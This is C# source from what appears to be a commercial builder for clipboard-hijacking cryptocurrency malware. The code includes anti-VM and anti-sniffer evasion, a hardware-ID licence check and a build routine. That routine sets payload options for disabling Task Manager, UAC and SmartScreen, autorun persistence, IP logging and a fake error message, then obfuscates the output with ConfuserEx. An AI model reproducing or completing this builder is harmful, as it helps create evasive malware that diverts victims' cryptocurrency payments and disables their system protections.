public static void Main() { if (!AntiVM.GetCheckVMBot()) { // Если запущена копия программы, закрываем её! if (RunCheck.InstanceCheck()) { // Запускаем антисниффер new Thread(() => { AntiSniffer.Inizialize(); }).Start(); // Проверяем подключение к интернет ресурсу if (INetConnect.Inizialize(EncryptKey.Decrypt(GlobalPath.UrlCheck, GlobalPath.SecretKey_Public))) { // Проверяем ключ доступа к программе if (!CheckerKeys.CompareKey()) { MusicPlay.Inizialize(Resources.Error_Build); Thread.Sleep(500); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n"); } else { FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n"); } } else { CheckerKeys.GetLicenseInfo(); Application.Run(new ClipPurseFrm()); } } else { MusicPlay.Inizialize(Resources.Error_Build); Thread.Sleep(500); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { FileControl.CreateFile("Connection_Error.txt", "No Internet connection, check your network connection, and try again.\r\n"); } else { FileControl.CreateFile("Connection_Error.txt", "Нет подключения к интернету, проверьте подключения к Вашей сети, и повторите попытку снова.\r\n"); } } } else { Environment.Exit(0); } } else { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { FileControl.CreateFile("VMware.txt", "Virtual machine detected, please run the program outside this environment!"); } else { FileControl.CreateFile("VMware.txt", "Обнаружена виртуальная машина, пожалуйста, запустите программу вне этой среды!"); } } }
/// <summary> /// Запуск процесс компиляции исходного файла с проверками по ключу. /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private async void Generation_ClickAsync(object sender, EventArgs e) { NativeMethods.SetFocus(IntPtr.Zero); #region BuildSettings var build = new Build ( this.IcoPath.Text, this.NameOutput.Text, this.AssTitleTextBox.Text, this.AssDescriptTextBox.Text, this.AssCompanyTextBox.Text, this.AssProductTextBox.Text, this.AssCopyrightTextBox.Text, this.AssVerTextBox.Text, this.AssFileVerTextBox.Text, this.AssGuidTextBox.Text, this.IPBox.Text, this.ErrorBox.Text, this.ShowMessage, this.DelayCheckBox, this.GarbageCheckBox, this.AutoRunCheckBox, this.SmartOffCheckBox, this.TaskMgrOffCheckBox, this.UacOffCheckBox, this.AntiVMCheckBox, this.IPLOGCheckBox, this.FakeCheckBox, this.SpisokOut ); #endregion if (string.IsNullOrWhiteSpace(this.NameOutput.Text) || string.IsNullOrWhiteSpace(this.AssTitleTextBox.Text) || string.IsNullOrWhiteSpace(this.AssDescriptTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCompanyTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCopyrightTextBox.Text) || string.IsNullOrWhiteSpace(this.AssFileVerTextBox.Text)) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FillFields); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FillFields); } } else { if (string.IsNullOrWhiteSpace(this.SpisokOut.Text)) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.Extension); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.Extension); } } else { new Thread(() => { AntiSniffer.Inizialize(); }).Start(); if (CheckerKeys.CompareKey()) { CheckerKeys.GetLicenseInfo(); if (FileControl.ExistsFileAndDirectory(GlobalPath.ModConfuser, GlobalPath.CLI)) { if (SourceEdition.values.Count != 0) { await Task.Run(() => SourceEdition.Inizialize(SourceEdition.values, build)); // Обфускация switch (build.ComboOutputExtension.SelectedIndex) { case 1: await Task.Run(() => Mod.Packer.CreateProject(GlobalPath.CurrDir, $"{build.BoxFileName}.dll")); break; default: await Task.Run(() => Mod.Packer.CreateProject(GlobalPath.CurrDir, $"{build.BoxFileName}.exe")); break; } if (FileControl.ExistsDirectory(GlobalPath.Confused)) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.Obfuscated); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.Obfuscated); } } } else { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BasePurse); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BasePurse); } } } else { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ModCLI); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ModCLI); } } } else { MusicPlay.Inizialize(Resources.Error_Build); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorLicense); FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n"); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorLicense); FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n"); } Thread.Sleep(2000); Application.Exit(); } } } }
public LicenSE() { CheckerKeys.GetLicenseInfo(); InitializeComponent(); }